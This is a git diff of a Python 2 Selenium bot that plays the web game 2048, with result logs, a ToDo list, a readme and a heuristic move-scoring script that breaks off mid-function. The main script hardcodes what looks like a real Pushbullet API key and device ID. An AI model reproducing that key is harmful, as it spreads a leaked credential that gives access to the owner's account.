+0.1.8,30May2014 21:48:16,16552,1024,08:44,1.88,984,0.0,26.0,46.8,27.1,[64 256 512 1024 - 32 64 128 32 - 8 32 16 4 - 2 4 8 2],3 games to check Selenium reloads
+0.1.8,30May2014 22:13:01,19696,1024,05:23,3.47,1121,0.2,27.3,47.0,25.5,[2 1024 512 64 - 512 256 64 16 - 8 16 32 2 - 2 4 8 4],3 games to check Selenium reloads
+0.1.8,31May2014 01:16:40,16428,1024,04:29,3.62,975,0.1,26.2,46.9,26.9,[2 512 256 64 - 1024 64 128 32 - 8 32 8 4 - 4 2 4 2],3 games to check Selenium reloads
+0.1.8,31May2014 01:19:40,9328,512,02:51,3.81,651,0.0,27.0,44.1,28.9,[256 512 256 64 - 32 64 128 32 - 8 32 16 2 - 2 4 2 4],3 games to check Selenium reloads
+0.1.8,31May2014 01:21:14,4192,256,01:26,3.99,343,0.9,24.2,46.1,28.9,[32 64 256 2 - 8 128 64 128 - 32 16 2 8 - 2 4 8 2],3 games to check Selenium reloads
+0.1.8,31May2014 01:29:59,6332,512,02:33,2.84,434,0.5,24.9,50.0,24.7,[32 2 256 32 - 16 512 16 4 - 8 16 32 16 - 2 4 8 4],
+0.1.8,31May2014 01:34:23,7880,512,04:13,2.21,560,0.2,23.6,47.0,29.3,[64 256 512 64 - 32 64 128 32 - 8 32 16 4 - 2 4 8 2],
+0.1.8,31May2014 01:38:38,8824,512,04:04,2.45,597,0.0,22.6,47.6,29.8,[128 256 512 256 - 16 64 32 16 - 4 16 8 4 - 2 8 4 2],
+0.1.8,01June2014 15:22:49,8264,512,04:03,2.4,583,0.0,26.2,46.7,27.1,[32 256 512 128 - 16 64 128 64 - 8 16 32 16 - 4 2 8 2],
+0.1.8,01June2014 15:28:25,6996,512,02:57,2.65,469,9.0,25.6,41.4,24.1,[8 2 32 2 - 2 8 64 8 - 16 512 256 2 - 2 4 128 8],
+0.1.8,01June2014 21:49:34,27416,2048,10:23,2.3,1430,0.3,25.1,47.1,27.6,[2048 2 256 2 - 16 512 128 64 - 8 64 32 4 - 2 4 8 2],perfect 1.8 persp 1.3
+0.1.8,01June2014 22:23:35,14524,1024,04:10,3.56,889,0.0,23.5,46.7,29.8,[256 1024 256 64 - 64 128 64 32 - 16 32 16 4 - 2 4 8 2],perfect 1.6 persp 1.2
+0.1.8,01June2014 22:48:24,19540,1024,06:11,3.15,1167,0.1,24.3,45.0,30.7,[256 1024 512 256 - 2 128 256 32 - 16 64 16 8 - 2 4 8 4],perfect 1.2 score 2
+0.1.8,01June2014 23:06:48,9904,512,03:04,3.69,679,0.0,24.3,47.0,28.7,[256 512 256 128 - 32 64 128 64 - 16 32 16 2 - 2 4 2 4],perfect 1.2 score 2
+0.1.8,01June2014 23:17:55,13276,1024,03:42,3.66,812,0.0,25.1,47.2,27.7,[128 1024 256 64 - 16 64 128 32 - 8 16 32 16 - 4 2 8 2],perfect 1.6 persp 1.2
+0.1.8,02June2014 00:29:18,7396,512,02:09,3.97,512,0.0,24.0,47.7,28.3,[128 512 256 64 - 16 64 32 16 - 8 16 8 4 - 4 2 4 2],perfect 1.8 persp 1.2
+0.1.8,02June2014 00:32:52,12824,1024,03:25,3.85,789,0.1,22.6,47.0,30.3,[1024 2 128 64 - 64 256 64 32 - 8 32 16 2 - 2 4 8 4],perfect 1.8 persp 1.2
+0.1.8,02June2014 00:35:41,8740,512,02:40,3.84,615,0.0,24.2,48.0,27.8,[128 512 256 128 - 32 64 128 32 - 8 32 16 4 - 2 4 8 2],perfect 1.8 persp 1.2
+0.1.9,02June2014 00:40:38,12228,512,03:33,3.74,796,0.3,27.6,46.4,25.8,[512 256 2 256 - 16 64 512 32 - 8 32 16 4 - 2 4 8 2],perfect 1.8
+0.1.9,02June2014 00:45:06,15556,1024,04:19,3.58,927,0.0,23.9,46.9,29.1,[1024 512 128 64 - 32 128 64 32 - 8 32 16 4 - 2 4 8 2],perfect 1.8
+0.1.9,02June2014 00:47:23,7500,512,02:09,4.08,526,0.4,22.8,48.3,28.5,[32 256 128 64 - 16 64 512 32 - 4 8 16 8 - 2 4 2 4],perfect 1.8
+0.1.9,02June2014 01:24:23,17252,1024,04:47,3.65,1048,0.2,24.6,46.3,28.9,[1024 2 256 128 - 32 512 128 64 - 16 64 32 4 - 2 4 8 2],perfect 1.8 score 1.4 persp 1.2
+0.1.9,02June2014 01:26:39,6916,512,02:06,3.9,492,0.6,24.6,49.6,25.2,[2 16 512 128 - 128 64 128 32 - 8 32 16 4 - 2 4 8 2],perfect 1.8 score 1.4 persp 1.2
+0.1.9,02June2014 01:29:12,7820,512,02:17,3.88,531,0.2,19.8,46.1,33.9,[128 512 2 32 - 64 2 256 128 - 8 32 8 4 - 2 4 16 2],perfect 1.8 score 1.4 persp 1.2
+0.1.9,02June2014 01:30:40,3852,256,01:19,4.03,318,0.3,25.5,50.3,23.9,[64 256 2 64 - 32 64 128 32 - 8 16 32 16 - 2 4 2 4],perfect 1.8 score 1.4 persp 1.2
+0.1.9,02June2014 01:33:51,12160,1024,03:01,3.96,716,0.1,22.2,45.9,31.7,[1024 256 2 32 - 4 64 128 8 - 16 32 16 4 - 2 4 8 2],perfect 1.8 score 1.4 persp 1.2
+0.1.9,02June2014 01:36:33,8588,512,02:33,3.88,594,0.2,23.6,48.5,27.8,[128 512 2 128 - 32 64 256 32 - 8 128 16 4 - 4 2 8 2],perfect 1.8 score 1.4 persp 1.2
+0.1.9,02June2014 01:38:01,3900,256,01:20,4.11,329,0.0,23.4,48.9,27.7,[64 256 128 64 - 32 64 16 32 - 4 16 32 8 - 2 8 4 2],perfect 1.8 score 1.4 persp 1.2
+0.1.9,02June2014 01:39:29,4092,256,01:19,4.18,330,0.0,23.3,51.5,25.2,[128 256 128 64 - 2 4 64 16 - 8 32 16 8 - 4 2 8 2],perfect 1.8 score 1.4 persp 1.2
+0.1.9,02June2014 01:42:07,8196,512,02:29,3.87,576,0.2,25.9,47.9,26.0,[4 256 512 128 - 64 128 64 32 - 8 32 16 2 - 4 2 4 8],perfect 1.8 score 1.4 persp 1.2
+0.1.9,02June2014 01:43:28,3704,256,01:13,4.14,302,0.3,23.5,49.0,27.2,[32 8 256 128 - 2 4 128 32 - 8 32 16 4 - 2 4 8 2],perfect 1.8 score 1.4 persp 1.2
+0.1.9,02June2014 01:48:24,16880,1024,04:47,3.52,1011,0.0,23.2,48.8,28.0,[1024 512 256 128 - 4 32 128 16 - 16 64 16 4 - 2 4 8 2],perfect 1.8 score 1.4 persp 1.2
+0.1.9,02June2014 01:52:21,13532,1024,03:49,3.57,817,0.6,20.8,48.0,30.6,[128 1024 2 128 - 16 64 256 32 - 8 128 16 8 - 2 4 8 4],perfect 1.8 score 1.4 persp 1.2
+0.1.9,02June2014 01:55:49,12716,1024,03:19,3.89,774,0.3,23.6,49.5,26.6,[64 256 128 64 - 16 64 1024 16 - 8 32 8 4 - 4 2 4 2],perfect 1.8 score 1.4 persp 1.2
diff --git a/2048-solver-bot/ToDo.md b/2048-solver-bot/ToDo.md
new file mode 100644
index 00000000..fa7d1d53
--- /dev/null
+++ b/2048-solver-bot/ToDo.md
@@ -0,0 +1,75 @@
+###General
+
+- [x] Migrate math to NumPy
+- [x] Run solver with args
+	- [x] play
+	- [x] logs
+	- [x] noanimation
+	- [x] run exact games count
+	- [x] job notes
+	- [x] debug
+- [x] Version log
+- [x] Games results logging into csv
+	- [x] ver
+	- [x] date
+	- [x] time
+	- [x] turns
+	- [x] score
+	- [x] max tile
+	- [x] final Garden flatten
+- [x] def getScore()
+- [x] Internal scoring system for decision maker
+- [ ] Spacebar pause
+	- [ ] show current game stats
+	- [ ] temporary manual handling
+- [x] def printMatrix()
+- [x] Turns percentage
+- [x] Avoid eval() for proper public scoring
+- [x] def printSummary()
+- [x] Turns per sec analytics
+- [x] Criteria: Numb of identical tiles on one line after turn
+- [x] Criteria: Max board tile is in a corner
+- [x] Criteria: Max 8 board tiles is in one sector or idealGarden match
+- [ ] Unified cosmo credit system based on max turn score
+- [x] Loglevel
+- [x] Wait until page loading?? OK fuck this shit
+- [x] Remove animation to improve speed
+- [x] Force close new mobile apps banner
+- [x] Coefs thru args
+- [x] Batch laucher
+	- [x] Run multiple thru subprocess
+	- [x] MOD for GamesCounter
+- [x] Gitignore for Py
+- [ ] More deeper pespective prediction (up to 5 turn minimax)
+- [ ] Down turn minimization based on prediction and weight changing
+- [x] PhantomJS
+	- [x] -ph arg
+	- [x] Process indicator
+	- [x] Screenshot if result above top
+- [x] Pushbullet API
+	- [x] Final screenshot notification thru PB
+	- [x] If result is the new best of ResultLog.csv -- PB me
+	- [x] Turn PB thru args
+- [x] Store all OS and User- dependant pref in one section
+- [ ] getPubScore output decorator
+
+### Refactoring
+- [x] Game constructor
+
+###Investigation
+- [ ] RPi deployment with PhantomJS (headless)
+- [ ] DO deployment
+- [ ] Threading
+- [x] Speed decrease at multiple endless run (PhantomJS) (solved)
+- [ ] Collect only "new" tiles from board not all of this
+- [x] Find-element-by VS xpath speed (failed)
+
+###To fix
+ - [x] Fix: TPS in multiple games
+ - [x] Fix: remove commas from note before csv write
+ - [ ] Fix: use unicode for notes
+ - [ ] Fix: internal score counter.
+ - [x] Fix: Perspective scores should apply only in case bot get real scores on this turn!
+ - [x] Refactor: put all Mod to weightLifter, put all scoring to turnEmulator
+ - [x] Remove intertools
+ - [x] Fix csv EOL for WIN 
\ No newline at end of file
diff --git a/2048-solver-bot/readme.md b/2048-solver-bot/readme.md
new file mode 100644
index 00000000..99315aca
--- /dev/null
+++ b/2048-solver-bot/readme.md
@@ -0,0 +1,33 @@
+2048 solver bot
+---------------
+
+*This bot runs thru Selenium and will connect directly to original web-version of 2048 game which host on http://gabrielecirulli.github.io/2048/ . This game will run all it JS's on client side so no need to worry about web-traffic or Gabriel's server loading.)*
+
+<a href="https://instagram.com/p/oDj3zWKxaW/?taken-by=atar1ty"><img src="https://habrastorage.org/files/c19/6a9/7e9/c196a97e939d429b957ef45e698aa787.jpg" width="450"/></a>
+
+###Dependencies
+
+ - [Python 2.7](http://www.python.org) with [NumPy](http://www.numpy.org/) and [Pushbullet](https://github.com/randomchars/pushbullet.py) libraries
+ - [Selenium bindings](https://pypi.python.org/pypi/selenium) for Python with [ChromeDriver](https://code.google.com/p/chromedriver/) or [PhantomJS](http://phantomjs.org/)
+
+After installing ChromeDriver it needs to determine binaries location in script like this:
+
+`chromedriver = "/Users/user/Downloads/chromedriver"`
+
+###Usage
+* **ResultLog.csv** &mdash; log of all game played 
+* **solverbot2048.py** &mdash; the main script which solves
+
+You should to change paths/API key in platform- and user- dependand section of solverbot2048.py
+
+| Arg    | Full         | Description          |
+|--------|--------------|----------------------|  
+|-h      | --help       | Show help message and exit |  
+|-p      | --play       | Immediately starts playing after running |  
+|-a      | --noanim     | Remove tile animation to slightly sped up process |
+| -g X   | --games X    | Play exact X games |
+| -n STR | --note STR   | Short note string <140 chrs in "quotes" will add to csv with each game result |
+| -ph    | --phantom    | run Selenium in headless mode with PhantomJS |
+| -pb    | --push       | turn on PushBullet notifications with top results |
+| -d     | --debug      | Reserved for debugging purposes |
+| -l X   | --loglevel X | Verbose level from 0 to 2 |
diff --git a/2048-solver-bot/snake.py b/2048-solver-bot/snake.py
new file mode 100644
index 00000000..c9f2c808
--- /dev/null
+++ b/2048-solver-bot/snake.py
@@ -0,0 +1,61 @@
+import numpy as np
+
+class TopLeftToRightIterator:
+    def __init__(self, array2d):
+        self.array2d = array2d
+        #self.array2d = np.array
+        self.x, self.y = 0, 0
+        x, y = self.array2d.shape
+        self.size = x if (x == y) else 0
+
+
+    def next(self):
+        if (self.x < 0 or self.y < 0 or self.x >= self.size or self.y >= self.size):
+            raise StopIteration()
+        result = self.array2d[self.y, self.x]
+
+        self.x, self.y = self.__nextcoords()
+
+        return result
+
+
+    def nextcoords(self):
+        if (self.x < 0 or self.y < 0 or self.x >= self.size or self.y >= self.size):
+            raise StopIteration ()
+        result = (self.x, self.y)
+
+        self.x, self.y = self.__nextcoords()
+
+        return result
+
+
+    def __nextcoords(self):
+        x, y = self.x, self.y
+        if (x + 1 < self.size and y % 2 == 0):
+            x += 1
+        elif (x - 1 >= 0 and y % 2 == 1):
+            x -= 1
+        else :
+            y += 1
+
+        return x, y
+
+        
+
+
+class Direction:
+    TL_R, TL_B, TR_B, TR_L, BR_L, BR_T, BL_T, BL_R = range(8)
+
+
+class SnakeUnfolder:
+    def __init__(self, array2d, dir = None):
+        self.array2d = array2d
+        self.dir = dir
+
+
+    def __iter__(self):
+        return TopLeftToRightIterator(self.array2d)
+
+
+
+
diff --git a/2048-solver-bot/solverbot2048.py b/2048-solver-bot/solverbot2048.py
new file mode 100644
index 00000000..c9b4718e
--- /dev/null
+++ b/2048-solver-bot/solverbot2048.py
@@ -0,0 +1,492 @@
+# -*- coding: utf-8 -*-
+
+import os, time, re, sys, csv, datetime, timeit, argparse, gc, codecs
+import numpy as np
+import itertools
+from operator import itemgetter
+from pushbullet import Device
+from selenium import webdriver
+from selenium.webdriver.common.keys import Keys
+import snake
+
+class gamesAction(argparse.Action):
+    def __call__(self, parser, namespace, values, option_string=None):
+        if values <= 0 or values > 1000:
+            parser.error("Games to play number should be in range 1..1000")
+        setattr(namespace, self.dest, values)
+
+
+class modsAction(argparse.Action):
+    def __call__(self, parser, namespace, values, option_string=None):
+        if values < -1000 or values > 1000:
+            parser.error("Modificator value should be in range -1000..1000")
+        setattr(namespace, self.dest, values)
+
+
+class noteAction(argparse.Action):
+    def __call__(self, parser, namespace, values, option_string=None):
+        if isinstance(values, basestring) == False:
+            parser.error("Please, use quotes \" \" to determine you note as argument")
+        if len(values) > 140:
+            parser.error("Too long note. Make it Twitter-way with no longer than 140 chars")
+        setattr(namespace, self.dest, values)
+
+
+parser = argparse.ArgumentParser(
+    description="This bot will try to solve 2048 puzzle game which hosted on http://gabrielecirulli.github.io/2048/")
+parser.add_argument("-p", "--play", help="immediately starts playing", action="store_true")
+parser.add_argument("-a", "--noanim", help="remove tile animation to speed up process", action="store_true")
+parser.add_argument("-g", "--games", help="play exact X games", action=gamesAction, metavar="X", type=int, default=1)
+parser.add_argument("-n", "--note",
+                    help="short note string (<140chrs) in \"quotes\" will add to csv with each game result",
+                    action=noteAction, metavar="STR", type=str, default="")
+parser.add_argument("-d", "--debug", help="reserved for debugging purposes", action="store_true")
+parser.add_argument("-l", "--loglevel", help="verbose level from 0 to 2", choices=range(0, 3), metavar="X", type=int,
+                    default=1)
+parser.add_argument("-ph", "--phantom", help="run Selenium in headless mode with PhantomJS", action="store_true")
+parser.add_argument("-pb", "--push", help="turn on PushBullet notifications with top results", action="store_true")
+parser.add_argument("-me", "--emptymod", help="\"Empty\" modificator value", action=modsAction, metavar="X", type=float,
+                    default=1)
+parser.add_argument("-ms", "--scoremod", help="\"Score\" modificator value", action=modsAction, metavar="X", type=float,
+                    default=1)
+parser.add_argument("-mc", "--cornermod", help="\"Corner\" modificator value", action=modsAction, metavar="X", type=float,
+                    default=0)
+parser.add_argument("-mp", "--perspmod", help="\"Perspective\" modificator value", action=modsAction, metavar="X",
+                    type=float, default=1)
+parser.add_argument("-mr", "--perfmod", help="\"Perfect snake\" modificator value", action=modsAction, metavar="X",
+                    type=float, default=1)
+args = parser.parse_args()
+ArgDict = vars(args)  #used for debugging only
+
+
+Version = "0.1.9"
+Garden = np.zeros((4, 4), dtype=np.int)  #global matrix for storing tiles state
+TimerStart, TimerStop = 0, 0
+CounterTurn, CounterTurnDown, CounterTurnRight, CounterTurnUp, CounterTurnLeft = 0, 0, 0, 0, 0
+InternalScore, ScoreCheck = 0, 0
+EmptyMod, ScoreMod, CornerMod, PerspMod, PerfectMod = args.emptymod, args.scoremod, args.cornermod, args.perspmod, args.perfmod
+CounterGames = args.games
+Note = str(args.note).replace(",", " ").rstrip('\n')  #force remove all commas from notes and \n
+KeepGoing = False                                       #is 2048 tile reached and game continued?
+Driver, Element = None, None
+
+#--------------------------------
+#This section is about platform- and user- dependant settings. Use your own Pushbullet API key and use your own platform paths to phantomJS and Chromedriver
+#--------------------------------
+PB_api_key = "v1mJDwghGTdeyPxxnToKBZ1qAYIUx83sKFujwVbgDhJ5o"    #Your own PushBullet API key
+phone = Device(PB_api_key, "5685265389584384")                  #Your own Pushbullet device ID
+
+
+def loadNewGame():
+    global Driver, Element, TimerStart, TimerStop, CounterTurn, CounterTurnDown, CounterTurnRight, CounterTurnUp, CounterTurnLeft, InternalScore, ScoreCheck, KeepGoing
+    TimerStart, TimerStop = 0, 0
+    CounterTurn, CounterTurnDown, CounterTurnRight, CounterTurnUp, CounterTurnLeft = 0, 0, 0, 0, 0
+    InternalScore, ScoreCheck = 0, 0
+    KeepGoing = False
+    if args.phantom == True :
+        driverPath = "D:\phantomjs197\phantomjs.exe"                #WIN for PhantomJS
+        Driver = webdriver.PhantomJS(driverPath)            
+    else :
+        #driverPath = "/Users/user/Downloads/chromedriver"          #OS X for Chromedriver
+        driverPath = "D:\chromedriver.exe"                          #WIN fro Chromedriver
+        os.environ["webdriver.chrome.driver"] = driverPath
+        Driver = webdriver.Chrome(driverPath)
+    Driver.delete_all_cookies()
+    Driver.get("http://gabrielecirulli.github.io/2048/")
+    assert "2048" in Driver.title
+    if args.phantom == True :                                       #PHJS workaround (cache clearing issue)
+        restartBtn = Driver.find_element_by_class_name("restart-button")
+        restartBtn.click()
+    if args.play == True :
+        Element = Driver.find_element_by_tag_name("body")
+        if args.noanim == True :                             #run script thru selenium if user turn off tile animation
+            with open("without-animation.js", "r") as myfile:
+                data = myfile.read().replace('\n', '')
+            Driver.execute_script(data)
+        gameTimer("start")
+#--------------------------------
+#End of platform- and user- dependant settings.
+#--------------------------------
+
+
+def gameTimer(standbyG):  #game stopwatch
+    global TimerStart, TimerStop
+    overall = 0
+    if standbyG == "start":
+        TimerStart = timeit.default_timer()
+    elif standbyG == "stop":
+        TimerStop = timeit.default_timer()
+    elif standbyG == "tps":
+        overall = TimerStop - TimerStart
+        t = time.strftime('%M:%S', time.localtime(overall))
+        return sum(int(x) * 60 ** i for i, x in enumerate(reversed(t.split(":"))))  #manually convert to total seconds
+    elif standbyG == "show":
+        overall = TimerStop - TimerStart
+        return time.strftime('%M:%S', time.localtime(overall))
+
+
+def logToFile():
+    global CounterTurn, CounterTurnDown, CounterTurnRight, CounterTurnUp, CounterTurnLeft, Garden, Note, Version
+    with codecs.open("ResultLog.csv", "ab", "UTF-8") as fp:  #write results to the file
+        a = csv.writer(fp, delimiter=',')
+        data = [Version,
+                datetime.datetime.now().strftime("%d%B%Y %H:%M:%S"),
+                getPubScore(),
+                np.amax(Garden),                                        #max tile
+                gameTimer("show"),                                      #time spent
+                round(CounterTurn / float(gameTimer("tps")), 2),  #turns per secons
+                CounterTurn,                                        #turns total
+                round(float(CounterTurnDown) / CounterTurn * 100, 1),
+                round(float(CounterTurnRight) / CounterTurn * 100, 1),
+                round(float(CounterTurnUp) / CounterTurn * 100, 1),
+                round(float(CounterTurnLeft) / CounterTurn * 100, 1),
+                flattenGarden(),
+                Note]
+        a.writerow(data)
+
+
+def printSummary():  #print summary after game finished
+    global ScoreCheck, Garden, CounterTurn, CounterTurnDown, CounterTurnRight, CounterTurnUp, CounterTurnLeft
+    print " "
+    printMatrix(Garden)
+    print " "
+    print "Score:         " + str(getPubScore())
+    print "Score check:   " + str(ScoreCheck)
+    print "MaxTile:       " + str(np.amax(Garden))  #flatten Garden and found max tile
+    print "Turns total:   " + str(CounterTurn)
+    print "       down:   " + str(round(float(CounterTurnDown) / CounterTurn * 100, 1)) + "%"
+    print "      right:   " + str(round(float(CounterTurnRight) / CounterTurn * 100, 1)) + "%"
+    print "         up:   " + str(round(float(CounterTurnUp) / CounterTurn * 100, 1)) + "%"
+    print "       left:   " + str(round(float(CounterTurnLeft) / CounterTurn * 100, 1)) + "%"
+    print "Time (m:s):    " + gameTimer("show")
+    print "Turns per sec: " + str(round(CounterTurn / float(gameTimer("tps")), 2))
+    print " "
+
+
+def getPubScore():                  #get game score directly from web page
+    score = Driver.find_element_by_class_name("score-container")
+    pubScore = re.split('\+', score.get_attribute("innerText"))  #split string on "+" and save 1st part
+    return int(pubScore[0])
+
+
+def getMaxFromFile():               #get all time maximum score from resultlog.csv
+    scoreList = []
+    with codecs.open("ResultLog.csv", "rb", "UTF-8") as fp:
+        a = csv.reader(fp, delimiter = ",")
+        for row in a :
+            scoreList.append(row[2])
+        scoreList.remove("Score")        
+        return np.amax(np.asarray(scoreList).astype(int))               #turn list into np array, convert to int and return max element
+
+
+def printMatrix(matrixP):  #fancy matrices renderer for debugging
+    for row in matrixP:
+        for val in row:
+            print '{:4}'.format(val),
+        print
+
+
+def flattenGarden():  #using only in csv logs, shaping fancy flatten Garden
+    s = "["
+    for row in Garden:
+        for val in row:
+            s = s + str(val) + " "
+        s = s + "- "
+    s = s[:(len(s) - 3)] + "]"
+    return s
+
+
+def growth(gardenG):                #find all page elements with class-name "tile" and parse it class-names, make matrix from this data and show it
+    global Garden
+    Garden = np.zeros((4, 4), dtype=np.int)
+    for i in gardenG:
+        mes = re.findall(r"\d+", str(i.get_attribute("class")))  #take only digits from class-name
+        Garden[(int(mes[2]) - 1), (int(mes[1]) - 1)] = int(mes[0])  #put it to the 2D matrix
+    if args.loglevel > 0:
+        if args.loglevel > 1:
+            print "Garden:"
+            printMatrix(Garden)
+
+
+def zeroRemove(lineZ):  #deleting all zeroes from list
+    for k in range(0, 3):
+        for i in range(0, 3):
+            if lineZ[i] == 0 and lineZ[i + 1] != 0:
+                x = lineZ[i + 1]
+                lineZ[i] = x
+                lineZ[i + 1] = 0
+    return lineZ
+
+
+def powerPerform(lineP):  #make tile multiplication
+    global InternalScore
+    for i in range(0, 3):
+        if lineP[i] == lineP[i + 1]:
+            y = lineP[i] * 2
+            InternalScore += y          #score it
+            lineP[i] = y
+            lineP[i + 1] = 0
+    return lineP
+
+
+def lineAction(lineL):              #perform turn-simulation on exact column
+    if len(set(lineL)) == 1:        #if all elements is identical
+        x = lineL[0] * 2
+        lineL = [x, x, 0, 0]
+    else:
+        lineL = zeroRemove(lineL)
+        lineL = powerPerform(lineL)
+        lineL = zeroRemove(lineL)  #need to remove new zeroes after multiplication
+    return lineL
+
+
+def perspCount(inputP):
+    pCount = 0
+    for x in range(0, 4):
+        for i in range(0, 3):
+            if inputP[i, x] != 0 and inputP[i, x] == inputP[i + 1, x]:
+                pCount += inputP[i, x]  #increase perp score by tile value
+    for x in range(0, 4):
+        for i in range(0, 3):
+            if inputP[x, i] != 0 and inputP[x, i] == inputP[x, i + 1]:
+                pCount += inputP[x, i]
+    return pCount * 2
+
+
+def cornerCount(inputC):            #got scores if max garden tile are in one of the corner
+    cornerScore = 0
+    max = np.amax(inputC)
+    if any([inputC[0, 0] == max, inputC[0, 3] == max, inputC[3, 0] == max, inputC[3, 3] == max]):
+        cornerScore += (max / 4)
+    return cornerScore
+
+
+def getPerfectList(a2d):
+    """
+    :type a2d: np.ndarray
+    :rtype : iterable
+    returns perfect-sorted list
+    """
+    return sorted(snake.SnakeUnfolder(a2d), reverse=True)
+
+
+def getPerfectDiff(a2d):
+    """
+    :type a2d: np.ndarray
+    :rtype : float
+    returns difference between perfect-sorted list (i.e. 2,4,8,4 4,2,8,4)
+    """
+    pl = getPerfectList(a2d)
+    distmap = [i for i in range(0, len(pl))]
+    perfScores = reduce(lambda a, (d, (p, l)): a - abs(p-l), zip(distmap, zip(pl, snake.SnakeUnfolder(a2d))), 0)
+    return perfScores / float(sum(pl))
+
+
+def turnEmul(gardenT, direction):       #4 turn emulation depends on arrow direction
+    global InternalScore
+    InternalScore = 0
+    outputT = np.zeros((4, 4), dtype=np.int)
+    if direction == "right":
+        gardenT = np.rot90(gardenT, 3)  #rotate matrix CCW x3 for right arrow turn
+    elif direction == "up":
+        gardenT = np.rot90(gardenT, 2)
+    elif direction == "left":
+        gardenT = np.rot90(gardenT, 1)
+    for i in range(0, 4):
+        originT = [gardenT[3, i], gardenT[2, i], gardenT[1, i], gardenT[0, i]]  #map garden column to operation list
+        tempT = lineAction(originT)
+        tempT = tempT[::-1]  #reverse list
+        for k in range(0, 4):
+            outputT[k, i] = tempT[k]  #fill each column to outputT matrix
+    if direction == "right":
+        outputT = np.rot90(outputT, 1)  #rotate matrix CCW back to input state
+    elif direction == "up":
+        outputT = np.rot90(outputT, 2)
+    elif direction == "left":
+        outputT = np.rot90(outputT, 3)
+    scoreT = InternalScore
+    perspScore = 0 if np.array_equal(gardenT, outputT) else perspCount(outputT)
+    cornerScore = cornerCount(outputT)
+    filledBefore = np.count_nonzero(gardenT)
+    filledAfter = np.count_nonzero(outputT)
+    zerosScore = filledBefore - filledAfter
+    perfectnessScore = getPerfectDiff(outputT)
+    if args.loglevel > 0:
+        if args.loglevel > 1:
+            print "Emulated" + "-" + direction + ":"
+            printMatrix(outputT)
+            print "Zeros: " + str(zerosScore) + " Score: " + str(scoreT) + " Persp: " + str(
+                perspScore) + " Corner: " + str(cornerScore)  #, neighborScore
+            print " "
+    return outputT, zerosScore, scoreT, perspScore, cornerScore, perfectnessScore  #this will return tuple!
+
+
+#					DRUL matrix cols reperesentes emulated turns: Down, Right, Up, Left and rows is criteria scores
+#Number of zeroes tiles after turn (< is better)
+#Turn score
+#Perspective (after-turn analysis) scores
+#Corner scores
+#Perfect snake scores
+def weightLifter(freespace, matrixW):  #taken DRUL matrix with values and compile list with turns priority on output
+    global EmptyMod, ScoreMod, PerspMod, CornerMod, PerfectMod
+    for x in range(0, 4):
+        matrixW[0, x] = matrixW[0, x] * EmptyMod * ( (16 - freespace) / (freespace + 0.1) if freespace < 4 else 1 )
+        matrixW[1, x] *= ScoreMod                                       #apply ScoreMod to score row
+        matrixW[2, x] *= PerspMod
+        matrixW[3, x] *= CornerMod
+        matrixW[4, x] *= PerfectMod
+    k = np.sum(matrixW, axis=0)
+    tup = sorted([('down', k[0, 0]), ('right', k[0, 1]), ('up', k[0, 2]), ('left', k[0, 3])], key=lambda x: x[1])[
+          ::-1]  #list of tuples sorted by scores and inverted from max to min
+    if args.loglevel > 0:
+        if args.loglevel > 1:
+            print "weightLifter output: "
+            printMatrix(np.asarray(matrixW))
+            print " "
+    return tup
+
+
+def normalize(a,b,c,d,by):          #normalize scores by maximum value
+    if by > 0 :
+        a /= float(by)
+        b /= float(by)
+        c /= float(by)
+        d /= float(by)
+    return a,b,c,d
+
+
+def decisionMaker(gardenD):
+    global CounterTurn, CounterTurnDown, CounterTurnRight, CounterTurnUp, CounterTurnLeft, ScoreCheck, CounterGames, KeepGoing, TimerStart, TimerStop
+
+    if np.amax(gardenD) == 2048 and KeepGoing == False :
+        time.sleep(3)
+        kpbtn = Driver.find_element_by_class_name("keep-playing-button")
+        kpbtn.click()
+        KeepGoing = True
+        time.sleep(1)
+
+    downMatrix, downZeros, downScore, downPersp, downCorSore, downPerfect = turnEmul(Garden, "down")  #unpack returned tuple of matrix and int score
+    rightMatrix, rightZeros, rightScore, rightPersp, rightCorScore, rightPerfect = turnEmul(Garden, "right")
+    upMatrix, upZeros, upScore, upPersp, upCorScore, upPerfect = turnEmul(Garden, "up")
+    leftMatrix, leftZeros, leftScore, leftPersp, leftCorScore, leftPerfect = turnEmul(Garden, "left")
+
+    zerosMax = max(downZeros, rightZeros, upZeros, leftZeros)
+    downZeros, rightZeros, upZeros, leftZeros = normalize(downZeros, rightZeros, upZeros, leftZeros, zerosMax)
+
+    dScore, rScore, uScore, lScore = downScore, rightScore, upScore, leftScore                              # backup scores before normalizing
+    scoreMax = max(downScore, rightScore, upScore, leftScore)
+    downScore, rightScore, upScore, leftScore = normalize(downScore, rightScore, upScore, leftScore, scoreMax)
+
+    perspMax = max(downPersp, rightPersp, upPersp, leftPersp)
+    downPersp, rightPersp, upPersp, leftPersp = normalize(downPersp, rightPersp, upPersp, leftPersp, perspMax)
+
+    map = {"down": downMatrix, "right": rightMatrix, "up": upMatrix, "left": leftMatrix}
+    drul = np.matrix([(downZeros, rightZeros, upZeros, leftZeros),
+                      (downScore, rightScore, upScore, leftScore),
+                      (downPersp, rightPersp, upPersp, leftPersp),
+                      (downCorSore, rightCorScore, upCorScore, leftCorScore),
+                      (downPerfect, rightPerfect, upPerfect, leftPerfect),
+                      (-1000, 0, 0, 0)])
+    tuplist = weightLifter(16 - np.count_nonzero(Garden), drul)
+
+    if args.loglevel > 0:
+        if args.loglevel > 1:
+            print tuplist
+        else:                           #loglevel = 1
+            for x in range(0, 4):
+                print "{:4}".format(str(tuplist[x][0]) + ": " + str(tuplist[x][1])),
+            print
+
+    if np.array_equal(Garden, map[tuplist[0][0]]) == False:
+        decision = tuplist[0][0]
+    elif np.array_equal(Garden, map[tuplist[1][0]]) == False:
+        decision = tuplist[1][0]
+    elif np.array_equal(Garden, map[tuplist[2][0]]) == False:
+        decision = tuplist[2][0]
+    elif np.array_equal(Garden, map[tuplist[3][0]]) == False:
+        decision = tuplist[3][0]
+    else:
+        pubScore = getPubScore()
+        gameTimer("stop")
+        if pubScore > getMaxFromFile():
+            Driver.save_screenshot("Screenshots/" + str(pubScore) + ".png")
+            if args.push == True :
+                with open("Screenshots/" + str(pubScore) + ".png") as png:
+                    push = phone.push_file(png, u"Completed during " + gameTimer("show") + u" with max tile " + str(np.amax(Garden)) + u" and speed of " + str(round(CounterTurn / float(gameTimer("tps")), 2)) + u" turns per sec.") 
+        logToFile()
+        printSummary()
+        CounterGames -= 1
+        gc.collect()
+        time.sleep(0.5)
+
+        if CounterGames <= 0:
+            Driver.close()
+            Driver.quit()
+            sys.exit()
+        else:
+            Driver.close()
+            Driver.quit()            
+            time.sleep(2)
+            loadNewGame()
+            return None
+
+    if decision == "down":
